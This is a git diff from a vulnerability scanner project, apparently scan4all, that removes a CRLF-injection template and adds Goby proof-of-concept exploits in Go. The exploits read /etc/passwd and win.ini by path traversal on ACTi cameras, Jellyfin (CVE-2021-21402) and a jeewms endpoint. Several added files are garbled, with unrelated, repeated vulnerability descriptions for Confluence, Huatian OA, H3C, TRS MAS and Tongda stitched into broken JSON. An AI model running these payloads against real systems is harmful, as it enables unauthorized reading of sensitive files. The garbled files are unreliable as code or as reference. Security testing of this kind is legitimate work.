diff --git a/README.md b/README.md
index 09f5637e0..28a898f1c 100644
--- a/README.md
+++ b/README.md
@@ -171,6 +171,14 @@ priorityNmap=false ./scan4all -tp http -list allOut.txt -v
more see: discussions
+# References
+- https://www.77169.net/html/312916.html
+- https://zhuanlan.zhihu.com/p/636131542
+- https://github.com/hktalent/scan4all/blob/main/static/Installation.md
+- https://github.com/hktalent/scan4all/blob/main/static/NicePwn.md
+- https://github.com/hktalent/scan4all/blob/main/static/running.md
+- https://www.google.com/search?client=safari&rls=en&q=%22hktalent%22+%22scan4all%22&ie=UTF-8&oe=UTF-8#ip=1
+
# Thanks
- Thank @freeload101 and other friends for their donations and support
diff --git a/config/51pwn/CRLF.yaml b/config/51pwn/CRLF.yaml
deleted file mode 100644
index 68e7869be..000000000
--- a/config/51pwn/CRLF.yaml
+++ /dev/null
@@ -1,47 +0,0 @@
-id: CheckCVE_CRLF
-info:
- name: CheckCVE_CRLF
- author: 51pwn
- severity: critical
- description: |
- CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the first argument to urllib.request.urlopen with \r\n (specifically in the path component of a URL that lacks a ? character) followed by an HTTP header or a Redis command. This is similar to the CVE-2019-9740 query string issue and the CVE-2019-9947 path string issue. (This is not exploitable when glibc has CVE-2016-10739 fixed.)
- cat hk1_httpx.json|jq '.url'|sed 's/"//g'|xargs -I % nuclei -duc -t $HOME/MyWork/scan4all/config/51pwn/CRLF.yaml -u %
- reference:
- - https://www.hacking8.com/web-hacking-101-zh/7.html
- - https://51pwn.com/CyberChef/#recipe=URL_Decode()&input=aHR0cHM6Ly90d2l0dGVyLmNvbS9sb2dpbj9yZWRpcmVjdF9hZnRlcl9sb2dpbj1odHRwczovL3R3aXR0ZXIuY29tOjIxLyVFNSU5OCU4QQolRTUlOTglOERjb250ZW50LXR5cGU6dGV4dC9odG1sJUU1JTk4JThBJUU1JTk4JThEbG9jYXRpb246JUU1JTk4JThBJUU1JTk4JThECiVFNSU5OCU4QSVFNSU5OCU4RCVFNSU5OCVCQ3N2Zy9vbmxvYWQ9YWxlcnQlMjhpbm5lckhUTUwlMjglMjklRTUlOTglQkU
-
- tags: web,crlf
-
-requests:
- - raw:
- - |+
- GET /login?redirect_after_login=https://twitter.com:21/%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE HTTP/1.1
- Host: {{Hostname}}
- Accept:*/*
- Pragma:no-cache
- Accept-Encoding:gzip, deflate
- Connection: close
- Content-Length: 0
-
- - |+
- GET /?%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0adeface",alert(33)," HTTP/1.1
- Host: {{Hostname}}
- Accept:*/*
- Pragma:no-cache
- Accept-Encoding:gzip, deflate
- Connection: close
- Content-Length: 0
-
- # end payload
- unsafe: true
- req-condition: true
- stop-at-first-match: true
- matchers-condition: and
- matchers:
- - type: word
- part: body
- words:
- - "svg/onload=alert(innerHTML"
- - "deface"
-
-
\ No newline at end of file
diff --git a/lib/goby/goby_pocs/ACTI_camera_images_File_read.go b/lib/goby/goby_pocs/ACTI_camera_images_File_read.go
new file mode 100644
index 000000000..f767b669f
--- /dev/null
+++ b/lib/goby/goby_pocs/ACTI_camera_images_File_read.go
@@ -0,0 +1,105 @@
+package exploits
+
+import (
+ "fmt"
+ "git.gobies.org/goby/goscanner/goutils"
+ "git.gobies.org/goby/goscanner/jsonvul"
+ "git.gobies.org/goby/goscanner/scanconfig"
+ "git.gobies.org/goby/httpclient"
+ "strings"
+)
+
+func init() {
+ expJson := `{
+ "Name": "ACTI Camera images File read",
+ "Description": "Arbitrary file reading vulnerability in acti video surveillance",
+ "Product": "ACTI Camera",
+ "Homepage": "http://www.acti.com",
+ "DisclosureDate": "2021-05-17",
+ "Author": "PeiQi",
+ "GobyQuery": "app=\"ACTi-Cameras-and-Surveillance\"",
+ "Level": "1",
+ "Impact": "Server arbitrary file read",
+ "Recommendation": "",
+ "References": [
+ "http://wiki.peiqi.tech"
+ ],
+ "HasExp": true,
+ "ExpParams": [
+ {
+ "name": "File",
+ "type": "input",
+ "value": "/etc/passwd"
+ }
+ ],
+ "ExpTips": {
+ "Type": "",
+ "Content": ""
+ },
+ "ScanSteps": [
+ "AND",
+ {
+ "Request": {
+ "data": "",
+ "data_type": "text",
+ "follow_redirect": true,
+ "method": "GET",
+ "uri": "/"
+ },
+ "ResponseTest": {
+ "checks": [
+ {
+ "bz": "",
+ "operation": "==",
+ "type": "item",
+ "value": "200",
+ "variable": "$code"
+ }
+ ],
+ "operation": "AND",
+ "type": "group"
+ }
+ }
+ ],
+ "ExploitSteps": null,
+ "Tags": ["File read"],
+ "CVEIDs": null,
+ "CVSSScore": "0.0",
+ "AttackSurfaces": {
+ "Application": ["ACTI Camera"],
+ "Support": null,
+ "Service": null,
+ "System": null,
+ "Hardware": null
+ }
+}`
+
+ ExpManager.AddExploit(NewExploit(
+ goutils.GetFileName(),
+ expJson,
+ func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
+ uri := "/images/../../../../../../../../etc/passwd"
+ cfg := httpclient.NewGetRequestConfig(uri)
+ cfg.VerifyTls = false
+ cfg.FollowRedirect = false
+ cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")
+ if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil {
+ return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "root")
+ }
+ return false
+ },
+ func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
+ file := ss.Params["File"].(string)
+ uri := fmt.Sprintf("/images/../../../../../../../..%s", file)
+ cfg := httpclient.NewGetRequestConfig(uri)
+ cfg.VerifyTls = false
+ cfg.FollowRedirect = false
+ cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")
+ if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil {
+ expResult.Output = resp.Utf8Html
+ expResult.Success = true
+ }
+ return expResult
+ },
+ ))
+}
\ No newline at end of file
diff --git a/lib/goby/goby_pocs/AceNet_AceReporter_Report_component_Arbitrary_file_download.go b/lib/goby/goby_pocs/AceNet_AceReporter_Report_component_Arbitrary_file_download.go
new file mode 100644
index 000000000..7e9cb3150
--- /dev/null
+++ b/lib/goby/goby_pocs/AceNet_AceReporter_Report_component_Arbitrary_file_download.go
@@ -0,0 +1,136 @@
+package exploits
+
+import (
+ "git.gobies.org/goby/goscanner/goutils"
+)
+
+func init() {
+ expJson := `{
+ "Name": "AceNet AceReporter Report component Arbitrary file download",
+ "Description": "All firewall devices that use the AceNet AceReporter report component can download arbitrary files",
+ "Product": "AceNet AceReporter Report component",
+ "Homepage": "",
+ "DisclosureDate": "2021-08-04",
+ "Author": "luckying1314@139.com",
+ "GobyQuery": "title=\"Login @ Reporter\" || title=\"Technology, Inc.\"",
+ "Level": "2",
+ "Impact": "
The vulnerability of arbitrary file download or read is mainly caused by the fact that when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter without verifying the validity of the file path. As a result, the attacker can jump through the directory (..\\ or../) to download or read a file beyond the original specified path.The attacker can finally download or read any files on the system through this vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in sensitive information leakage of the system.
",
+ "Recommandation": "
Limit ../ symbol is used to determine the input path when the file is downloaded. The best method is that the file should be one to one in the database, and avoid entering the absolute path to obtain the file
2022年6月3日,Atlassian Confluence官方发布公告称Confluence Server 和Data Center存在未授权远程代码执行漏洞,该漏洞由于Confluence将URL翻译成namespace,导致攻击者可以在URL路径中构造OGNL表达式,造成表达式注入,从而远程代码执行。该漏洞被分配编号:CVE-2022-26134。
2022年6月3日,Atlassian Confluence官方发布公告称Confluence Server 和Data Center存在未授权远程代码执行漏洞,该漏洞由于Confluence将URL翻译成namespace,导致攻击者可以在URL路径中构造OGNL表达式,造成表达式注入,从而远程代码执行。该漏洞被分配编号:CVE-2022-26134。
Atlassian Confluence Server and Data Center have an unauthorized remote code execution vulnerability that translates urls to namespaces. Causes an attacker to construct OGNL expressions in the URL path, causing expression injection, and thus remote code execution. This vulnerability is assigned number: CVE-2022-26134.
",
+ "Recommendation": "
A new version has been released. Enterprise users are advised to troubleshoot and repair exposed services on the Internet. Security versions include 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4, and 7.18.1
",
+ "Impact": "
Because Confluence translates URL into namespace, attacker can construct OGNL expression in URL path, resulting in expression injection, thus remote code execution.
Huatian power collaborative office system combines advanced management ideas, management modes, software technology and network technology to provide users with a low-cost and efficient collaborative office and management platform. Wise managers have achieved good results in strengthening standardized workflow, strengthening team execution, promoting fine management and promoting business growth through the use of Huatian power collaborative office platform.
There is an arbitrary file upload vulnerability in Huatian power OA. Attackers can upload arbitrary files, obtain webshell, control server permissions, read sensitive information, etc.
There is an arbitrary file upload vulnerability in Huatian power OA. Attackers can upload arbitrary files, obtain webshell, control server permissions, read sensitive information, etc.
",
+ "Recommendation": "
The manufacturer has not provided a vulnerability repair plan. Please pay attention to the update of the manufacturer's homepage:
Huatian power collaborative office system combines advanced management ideas, management modes, software technology and network technology to provide users with a low-cost and efficient collaborative office and management platform. Wise managers have achieved good results in strengthening standardized workflow, strengthening team execution, promoting fine management and promoting business growth through the use of Huatian power collaborative office platform.
There is an arbitrary file upload vulnerability in Huatian power OA. Attackers can upload arbitrary files, obtain webshell, control server permissions, read sensitive information, etc.
",
+ "Recommendation": "
The manufacturer has not provided a vulnerability repair plan. Please pay attention to the update of the manufacturer's homepage:
There is an arbitrary file upload vulnerability in Huatian power OA. Attackers can upload arbitrary files, obtain webshell, control server permissions, read sensitive information, etc.
ElasticSearch is an open source, distributed, RESTful search engine built on Lucene. Designed for use in cloud computing, it can achieve real-time, stable, reliable and fast search, and is easy to install and use. Supports data indexing via HTTP request and using JSON.
Since ElasticSearch has enabled dynamic script execution by default, any user can execute arbitrary Java code by constructing a specially crafted submission.
",
+ "Recommandation": "
The official version of elasticsearch 1.2 has been publicly released, and the dynamic script execution function is disabled by default.
In 2014, a remote code execution vulnerability (CVE-2014-3120) was exposed. The vulnerability appeared in the script query module. Since search engines support the use of script code (MVEL) as an expression for data manipulation, attackers can use MVEL Construct and execute arbitrary java code,
Later, the scripting language engine was changed to Groovy and a sandbox was added to control it. Dangerous codes would be intercepted. As a result, this time because the sandbox restrictions were not strict, it led to remote code execution.
",
+ "Recommandation": "
Close the groovy sandbox to stop the use of dynamic scripts:
Big-ip is an application delivery service from F5 that is geared towards the world of application-centric advanced technology. Keep the application running with big-IP application delivery controller. Big-ip Local Traffic Manager (LTM) and Big-IP DNS can handle application traffic and secure the infrastructure.
An unauthenticated attacker can use the management port or its own IP address to access the big-IP system, execute any system command, create or delete files, or disable services.
",
+ "Recommendation": "",
+ "Impact": "",
+ "VulType": [],
+ "Tags": []
+ }
+ },
+ "AttackSurfaces": {
+ "Application": null,
+ "Support": null,
+ "Service": null,
+ "System": null,
+ "Hardware": null
+ }
+}`
+
+ ExpManager.AddExploit(NewExploit(
+ goutils.GetFileName(),
+ expJson,
+ nil,
+ nil,
+ ))
+}
\ No newline at end of file
diff --git a/lib/goby/goby_pocs/FLIR_AX8_Arbitrary_File_Download_Vulnerability_CNVD-2021-39018.go b/lib/goby/goby_pocs/FLIR_AX8_Arbitrary_File_Download_Vulnerability_CNVD-2021-39018.go
new file mode 100644
index 000000000..715755f12
--- /dev/null
+++ b/lib/goby/goby_pocs/FLIR_AX8_Arbitrary_File_Download_Vulnerability_CNVD-2021-39018.go
@@ -0,0 +1,146 @@
+package exploits
+
+import (
+ "git.gobies.org/goby/goscanner/goutils"
+)
+
+func init() {
+ expJson := `{
+ "Name": "FLIR-AX8 Arbitrary File Download Vulnerability",
+ "Description": "Teledyne FLIR specializes in the design, development, manufacture, marketing and marketing of specialized technologies for enhanced situational awareness.\\nFLIR-AX8 has an arbitrary file download vulnerability.An attacker can use the vulnerability to download relevant system configuration files.",
+ "Product": "FLIR AX8 71213294,FLIR AX8 71219303",
+ "Homepage": "https://www.flir.cn",
+ "DisclosureDate": "2021-07-06",
+ "Author": "luckying1314@139.com",
+ "GobyQuery": "header=\"lighttpd\"",
+ "Level": "2",
+ "Impact": "
Arbitrary file download or read vulnerability is mainly because when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter and does not verify the legitimacy of the file path, resulting in the attacker can jump through the directory (..\\ or../) way to download or read a file outside the original specified path.The attacker can finally download or read any file on the system through the vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in the sensitive information leakage of the system
",
+ "Recommandation": "
The manufacturer has not provided the vulnerability fix solution, please pay attention to the manufacturer's home page to update:https://www.flir.cn/
Deserialization command execution is mainly due to the application system in dealing with a sequence of bytes by means of reverse sequence not to check the sequence information, an attacker can forge the malicious byte sequences and make application system, application system will be to reverse sequence of the sequence of bytes will perform when submitted by malicious attackers sequence of bytes, which can lead to arbitrary code or command execution,Finally can complete the application system control authority or operating system authority.
H3C company relies on its strong technical strength, product and service advantages, as well as the popular customer-centric concept to provide optimized virtualization and cloud business operation solutions for the IAAs cloud computing infrastructure of enterprise data center. Through the H3C CAS CVM virtualization management system, we can realize the central management and control of the virtualized environment in the data center. With a simple management interface, we can uniformly manage all physical and virtual resources in the data center, which can not only improve the management and control ability of administrators, simplify daily routine work, but also reduce the complexity and management cost of the IT environment.
H3C-CVM has an arbitrary file upload vulnerability, which allows attackers to upload arbitrary files, obtain webshell, control server permissions, read sensitive information, etc.
H3C-CVM has an arbitrary file upload vulnerability, which allows attackers to upload arbitrary files, obtain webshell, control server permissions, read sensitive information, etc.
H3C company relies on its strong technical strength, product and service advantages, as well as the popular customer-centric concept to provide optimized virtualization and cloud business operation solutions for the IAAs cloud computing infrastructure of enterprise data center. Through the H3C CAS CVM virtualization management system, we can realize the central management and control of the virtualized environment in the data center. With a simple management interface, we can uniformly manage all physical and virtual resources in the data center, which can not only improve the management and control ability of administrators, simplify daily routine work, but also reduce the complexity and management cost of the IT environment.
H3C-CVM has an arbitrary file upload vulnerability, which allows attackers to upload arbitrary files, obtain webshell, control server permissions, read sensitive information, etc.
H3C-CVM has an arbitrary file upload vulnerability, which allows attackers to upload arbitrary files, obtain webshell, control server permissions, read sensitive information, etc.
Arbitrary file download or read vulnerability is mainly because when the application system provides file download or read function, it directly specifies the file path in the file path parameter and does not verify the validity of the file path, so that the attacker can jump through the directory (.. \\ or.. /) to download or read files outside the original specified path. Attackers can download or read any files on the system through this vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in sensitive information leakage of the system.
Arbitrary file download or read vulnerability is mainly because when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter and does not verify the legitimacy of the file path, resulting in the attacker can jump through the directory (..\\ or../) way to download or read a file outside the original specified path.The attacker can finally download or read any file on the system through the vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in the sensitive information leakage of the system.
",
+ "Recommandation": "
Limit../ symbol, file download to determine the input path, the best way is that the file should be in the database for one-to-one correspondence, avoid by entering the absolute path to get files
",
+ "References": [
+ "https://www.pwnwiki.org/index.php?title=JQuery_1.7.2_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BC%89%E6%BC%8F%E6%B4%9E"
+ ],
+ "HasExp": true,
+ "ExpParams": [
+ {
+ "name": "path",
+ "type": "input",
+ "value": "../../../../../etc/passwd",
+ "show": ""
+ }
+ ],
+ "ExpTips": {
+ "Type": "",
+ "Content": ""
+ },
+ "ScanSteps": [
+ "AND",
+ {
+ "Request": {
+ "method": "GET",
+ "uri": "/systemController/showOrDownByurl.do?down=&dbPath=../../../../../etc/passwd",
+ "follow_redirect": false,
+ "header": {},
+ "data_type": "text",
+ "data": ""
+ },
+ "ResponseTest": {
+ "type": "group",
+ "operation": "AND",
+ "checks": [
+ {
+ "type": "item",
+ "variable": "$code",
+ "operation": "==",
+ "value": "200",
+ "bz": ""
+ },
+ {
+ "type": "item",
+ "variable": "$body",
+ "operation": "contains",
+ "value": "root",
+ "bz": ""
+ }
+ ]
+ },
+ "SetVariable": []
+ }
+ ],
+ "ExploitSteps": [
+ "AND",
+ {
+ "Request": {
+ "method": "GET",
+ "uri": "/systemController/showOrDownByurl.do?down=&dbPath={{{path}}}",
+ "follow_redirect": true,
+ "header": {},
+ "data_type": "text",
+ "data": ""
+ },
+ "SetVariable": [
+ "output|lastbody"
+ ]
+ }
+ ],
+ "Tags": [],
+ "CVEIDs": null,
+ "CVSSScore": "0.0",
+ "AttackSurfaces": {
+ "Application": ["jeewms"],
+ "Support": null,
+ "Service": null,
+ "System": null,
+ "Hardware": null
+ }
+}`
+
+ ExpManager.AddExploit(NewExploit(
+ goutils.GetFileName(),
+ expJson,
+ nil,
+ nil,
+ ))
+}
\ No newline at end of file
diff --git a/lib/goby/goby_pocs/Jellyfin_Audio_File_read_CVE_2021_21402.go b/lib/goby/goby_pocs/Jellyfin_Audio_File_read_CVE_2021_21402.go
new file mode 100644
index 000000000..556925480
--- /dev/null
+++ b/lib/goby/goby_pocs/Jellyfin_Audio_File_read_CVE_2021_21402.go
@@ -0,0 +1,118 @@
+package exploits
+
+import (
+ "fmt"
+ "git.gobies.org/goby/goscanner/goutils"
+ "git.gobies.org/goby/goscanner/jsonvul"
+ "git.gobies.org/goby/goscanner/scanconfig"
+ "git.gobies.org/goby/httpclient"
+ "net/url"
+ "strings"
+)
+
+func init() {
+ expJson := `{
+ "Name": "Jellyfin Audio File read (CVE-2021-21402)",
+ "Description": "Jellyfin is a Free Software Media System. In Jellyfin before version 10.7.1, with certain endpoints, well crafted requests will allow arbitrary file read from a Jellyfin server's file system. This issue is more prevalent when Windows is used as the host OS. Servers that are exposed to the public Internet are potentially at risk. This is fixed in version 10.7.1. As a workaround, users may be able to restrict some access by enforcing strict security permissions on their filesystem, however, it is recommended to update as soon as possible.",
+ "Product": "Jellyfin",
+ "Homepage": "https://jellyfin.org/",
+ "DisclosureDate": "2021-03-23",
+ "Author": "PeiQi",
+ "GobyQuery": "title=\"Jellyfin\"",
+ "Level": "2",
+ "Impact": "File read",
+ "Recommendation": "Update patches in time",
+ "References": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21402",
+ "RealReferences": [
+ "https://github.com/jellyfin/jellyfin/commit/0183ef8e89195f420c48d2600bc0b72f6d3a7fd7",
+ "https://github.com/jellyfin/jellyfin/releases/tag/v10.7.1",
+ "https://github.com/jellyfin/jellyfin/security/advisories/GHSA-wg4c-c9g9-rxhx",
+ "https://nvd.nist.gov/vuln/detail/CVE-2021-21402",
+ "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21402"
+ ],
+ "HasExp": true,
+ "ExpParams": [
+ {
+ "name": "File",
+ "type": "input",
+ "value": "windows/win.ini"
+ }
+ ],
+ "ExpTips": {
+ "Type": "",
+ "Content": ""
+ },
+ "ScanSteps": [
+ "AND",
+ {
+ "Request": {
+ "data": "",
+ "data_type": "text",
+ "follow_redirect": true,
+ "method": "GET",
+ "uri": "/"
+ },
+ "ResponseTest": {
+ "checks": [
+ {
+ "bz": "",
+ "operation": "==",
+ "type": "item",
+ "value": "200",
+ "variable": "$code"
+ }
+ ],
+ "operation": "AND",
+ "type": "group"
+ }
+ }
+ ],
+ "ExploitSteps": null,
+ "Tags": ["File read"],
+ "CVEIDs": [
+ "CVE-2021-21402"
+ ],
+ "CVSSScore": "6.5",
+ "AttackSurfaces": {
+ "Application": ["Jellyfin"],
+ "Support": null,
+ "Service": null,
+ "System": null,
+ "Hardware": null
+ },
+ "Disable": false
+}`
+
+ ExpManager.AddExploit(NewExploit(
+ goutils.GetFileName(),
+ expJson,
+ func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
+ uri := "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
+ cfg := httpclient.NewGetRequestConfig(uri)
+ cfg.VerifyTls = false
+ cfg.FollowRedirect = false
+ cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")
+ if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil {
+ return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "extensions")
+ }
+ return false
+ },
+ func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
+ file := ss.Params["File"].(string)
+ file = strings.Replace(file, "/", "\\", -1)
+ file = url.QueryEscape(file)
+ uri := "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5C" + file + "/stream.mp3/"
+ cfg := httpclient.NewGetRequestConfig(uri)
+ cfg.VerifyTls = false
+ cfg.FollowRedirect = false
+ cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")
+ if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil {
+ if resp.StatusCode == 200 {
+ expResult.Output = resp.Utf8Html
+ expResult.Success = true
+ }
+ }
+ return expResult
+ },
+ ))
+}
\ No newline at end of file
diff --git a/lib/goby/goby_pocs/JingHe_OA_download.asp_File_read.go b/lib/goby/goby_pocs/JingHe_OA_download.asp_File_read.go
new file mode 100644
index 000000000..a725c2e99
--- /dev/null
+++ b/lib/goby/goby_pocs/JingHe_OA_download.asp_File_read.go
@@ -0,0 +1,88 @@
+package exploits
+
+import (
+ "fmt"
+ "git.gobies.org/goby/goscanner/goutils"
+ "git.gobies.org/goby/goscanner/jsonvul"
+ "git.gobies.org/goby/goscanner/scanconfig"
+ "git.gobies.org/goby/httpclient"
+ "strings"
+ "regexp"
+ "net/url"
+)
+
+func init() {
+ expJson := `{
+ "Name": "JingHe OA download.asp File read",
+ "Description": "There is an arbitrary file reading vulnerability in Jinhe OA C6 download.jsp file, through which an attacker can obtain sensitive information in the server",
+ "Product": "JingHe OA",
+ "Homepage": "http://www.jinher.com/",
+ "DisclosureDate": "2021-06-09",
+ "Author": "PeiQi",
+ "GobyQuery": "app=\"Jinher-OA\"",
+ "Level": "2",
+ "Impact": "
The vulnerability of arbitrary file download or read is mainly caused by the fact that when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter without verifying the validity of the file path. As a result, the attacker can jump through the directory (.. \\ or.. /) to download or read a file beyond the original specified path. The attacker can finally download or read any files on the system through this vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in sensitive information leakage of the system.
",
+ "Recommandation": "
Limit ../ The best way is that the file should be in the database for one to one mapping, avoid entering the absolute path to obtain the file
Arbitrary file download or read vulnerability is mainly because when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter and does not verify the legitimacy of the file path, resulting in the attacker can jump through the directory (..\\ or../) way to download or read a file outside the original specified path.The attacker can finally download or read any file on the system through the vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in the sensitive information leakage of the system.
",
+ "Recommandation": "
Limit../ symbol, file download to determine the input path, the best way is that the file should be in the database for one-to-one correspondence, avoid by entering the absolute path to get files
Information leakage is mainly caused by the negligence of developers or operations management personnel.If the debugging page is not deleted in time, the program debugging function is not closed, the program error information is not shielded, the backup file is not deleted, the database backup file is not deleted, the sensitive data information is not shielded and so on.The attacker can further analyze the attack target through the information he has mastered, so as to effectively launch the next effective attack
",
+ "Recommandation": "
1. Delete the affected files to avoid information leakage.
The application system does not perform valid identity verification on the service function page. If you have not logged in and obtained the access address of the service function page, you can directly operate the functions on the page, which may cause malicious damage to the application system
Arbitrary file download or read vulnerability is mainly because when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter and does not verify the legitimacy of the file path, resulting in the attacker can jump through the directory (..\\ or../) way to download or read a file outside the original specified path.The attacker can finally download or read any file on the system through the vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in the sensitive information leakage of the system.
",
+ "Recommandation": "
Limit../ symbol, file download to determine the input path, the best way is that the file should be in the database for one-to-one correspondence, avoid by entering the absolute path to get files
The vulnerability of arbitrary file download or read is mainly caused by the fact that when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter without verifying the validity of the file path. As a result, the attacker can jump through the directory (.. \\ or.. /) to download or read a file beyond the original specified path. The attacker can finally download or read any files on the system through this vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in sensitive information leakage of the system
",
+ "Recommandation": "
Limit ../ The best way is that the file should be in the database for one to one mapping, avoid entering the absolute path to obtain the file
The vulnerability of arbitrary file download or read is mainly caused by the fact that when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter without verifying the validity of the file path. As a result, the attacker can jump through the directory (.. \\ or.. /) to download or read a file beyond the original specified path. The attacker can finally download or read any files on the system through this vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in sensitive information leakage of the system
",
+ "Recommandation": "
Limit ../ The best way is that the file should be in the database for one to one mapping, avoid entering the absolute path to obtain the file
Command execution injection is mainly caused by the fact that the developer references the client parameters when the application system initiates the operating system command, and does not verify the validity of the parameters.  Therefore, the attacker can inject malicious command parameters into the parameters, resulting in the execution of the malicious command specified by the attacker.   Through this vulnerability, the attacker can execute any operating system commands and directly gain full control of the operating system in the case of improper permission configuration.
",
+ "Recommandation": "
1. Verify the validity of the value passed by the parameter
2. Restrict the execution permission of the application
The vulnerability of arbitrary file download or read is mainly caused by the fact that when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter without verifying the validity of the file path. As a result, the attacker can jump through the directory (.. \\ or.. /) to download or read a file beyond the original specified path. The attacker can finally download or read any files on the system through this vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in sensitive information leakage of the system
",
+ "Recommandation": "
Limit ../ The best way is that the file should be in the database for one to one mapping, avoid entering the absolute path to obtain the file
Command execution injection is mainly caused by the fact that the developer references the client parameters when the application system initiates the operating system command, and does not verify the validity of the parameters. Therefore, the attacker can inject malicious command parameters into the parameters, resulting in the execution of the malicious command specified by the attacker. Through this vulnerability, the attacker can execute any operating system commands and directly gain full control of the operating system in the case of improper permission configuration.
",
+ "Recommandation": "
1. Verify the validity of the value passed by the parameter
2. Restrict the execution permission of the application 
Command execution injection is mainly caused by the fact that the developer references the client parameters when the application system initiates the operating system command, and does not verify the validity of the parameters. Therefore, the attacker can inject malicious command parameters into the parameters, resulting in the execution of the malicious command specified by the attacker. Through this vulnerability, the attacker can execute any operating system commands and directly gain full control of the operating system in the case of improper permission configuration.
",
+ "Recommandation": "
1. Verify the validity of the value passed by the parameter
2. Restrict the execution permission of the application 
TRS MAS is a set of universal media asset management system launched by Beijing Tors Information Technology Co., Ltd. based on the characteristics of audio and video use in the mobile Internet era. The same audio and video resources can be used for different terminal platforms, effectively saving costs. , to simplify the operation.
There is an unauthorized command execution vulnerability in TRS MAS v5 and v6, which can execute arbitrary commands.
There is an unauthorized command execution vulnerability in TRS MAS v5 and v6, which can execute arbitrary commands.
",
+ "Recommendation": "
At present, the version affected by the vulnerability has been officially stopped updating. It is recommended to use defense devices for protection.Disable /sysinfo/testCommandExecutor.jsp path access.
TRS MAS is a set of universal media asset management system launched by Beijing Tors Information Technology Co., Ltd. based on the characteristics of audio and video use in the mobile Internet era. The same audio and video resources can be used for different terminal platforms, effectively saving costs. , to simplify the operation.
There is an unauthorized command execution vulnerability in TRS MAS v5 and v6, which can execute arbitrary commands.
",
+ "Recommendation": "
At present, the version affected by the vulnerability has been officially stopped updating. It is recommended to use defense devices for protection.Disable /sysinfo/testCommandExecutor.jsp path access.
",
+ "Impact": "
There is an unauthorized command execution vulnerability in TRS MAS v5 and v6, which can execute arbitrary commands.
Tongda OA (Office Anywhere Network Intelligent Office System) is a collaborative office automation software independently developed by Beijing Tongda Xinke Technology Co., Ltd. It is a comprehensive management office platform formed by combining with Chinese enterprise management practices.
Tongda has an arbitrary user login vulnerability. An attacker can log in to any user through the specified interface, obtain background management permissions, and directly log in to the background for sensitive operations.
Tongda has an arbitrary user login vulnerability. An attacker can log in to any user through the specified interface, obtain background management permissions, and directly log in to the background for sensitive operations.
Tongda OA (Office Anywhere Network Intelligent Office System) is a collaborative office automation software independently developed by Beijing Tongda Xinke Technology Co., Ltd. It is a comprehensive management office platform formed by combining with Chinese enterprise management practices.
Tongda has an arbitrary user login vulnerability. An attacker can log in to any user through the specified interface, obtain background management permissions, and directly log in to the background for sensitive operations.
Tongda has an arbitrary user login vulnerability. An attacker can log in to any user through the specified interface, obtain background management permissions, and directly log in to the background for sensitive operations.
The vulnerability of arbitrary file download or read is mainly caused by the fact that when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter without verifying the validity of the file path. As a result, the attacker can jump through the directory (..\\ or../) to download or read a file beyond the original specified path.The attacker can finally download or read any files on the system through this vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in sensitive information leakage of the system.
",
+ "Recommandation": "
Limit ../ symbol is used to determine the input path when the file is downloaded. The best method is that the file should be one to one in the database, and avoid entering the absolute path to obtain the file
Topacm comprehensively considers the needs of customers in various industries and provides customers with practical functions such as security strategy, link load, identity authentication, traffic management, behavior control, online audit, log tracing, network supervision docking, user behavior analysis, VPN, etc. The product has good network adaptability and meets the relevant requirements on user behavior audit and log retention in the network security law, Ministry of public security order 151, etc. At present, the products are widely used in government, education, energy, enterprises, operators and other industries to help customers standardize the network, improve work efficiency, and mine data value.
There is an arbitrary command execution vulnerability in the TopSec Internet behavior management system. Attackers can execute arbitrary commands on the system, write files, obtain webshell, and read sensitive information.
